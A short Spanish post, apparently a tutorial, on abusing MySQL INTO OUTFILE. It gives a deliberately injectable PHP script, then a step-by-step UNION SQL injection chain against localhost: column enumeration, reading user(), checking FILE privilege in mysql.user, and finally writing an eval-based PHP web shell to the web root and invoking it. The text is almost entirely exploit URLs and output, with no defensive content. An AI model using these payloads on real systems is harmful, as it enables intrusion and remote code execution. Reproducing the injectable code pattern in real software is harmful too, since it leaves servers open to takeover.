Buenas, muchas veces la personas no saben usar correctamente o no saben como funciona el comando INTO OUTFILE en MYSQL...
<?php
$link = mysql_connect('127.0.0.1','root', 'pass');
mysql_select_db('ejemplo', $link);
$sql = mysql_query('select * from ejemplo where id='.$_GET['id'], $link);
if(mysql_errno($link))
{
echo mysql_error($link);
exit;
}
while($row = mysql_fetch_assoc($sql))
{
echo $row['id']."<br>".$row['titulo']."<br>".$row['contenido']."<br>".$row['parent'];
}
?>
mysql> describe ejemplo;
+-----------+-----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| titulo | char(20) | NO | | NULL | |
| contenido | char(255) | NO | | NULL | |
| parent | char(50) | NO | | NULL | |
+-----------+-----------+------+-----+---------+----------------+
4 rows in set (0.00 sec)
mysql> select * from ejemplo where id=1 union all select 1,2,3,4;
+----+---------+--------------------+--------+
| id | titulo | contenido | parent |
+----+---------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| 1 | 2 | 3 | 4 |
+----+---------+--------------------+--------+
http://127.0.0.1/pruebas.php?id=2 union all select 1,2,3,4
mysql> select * from ejemplo where id=1 union all select user(),2,3,4;
+----------------+---------+--------------------+--------+
| id | titulo | contenido | parent |
+----------------+---------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| root@localhost | 2 | 3 | 4 |
+----------------+---------+--------------------+--------+
http://127.0.0.1/pruebas.php?id=2 union all select user(),2,3,4
mysql> select * from ejemplo where id=1 union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
+--------------------------------------------------+-----------+--------------------+--------+
| id | titulo | contenido | parent |
+--------------------------------------------------+-----------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| root | localhost | 3 | 4 |
+--------------------------------------------------+-----------+--------------------+--------+
http://127.0.0.1/pruebas.php?id=2 union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
http://127.0.0.1/pruebas.php?id=2 union all select "<?php @eval($_GET['exec']); ?>",2,3,4 into outfile "/var/www/html/exec.php"
http://127.0.0.1/exec.php?exec=phpinfo();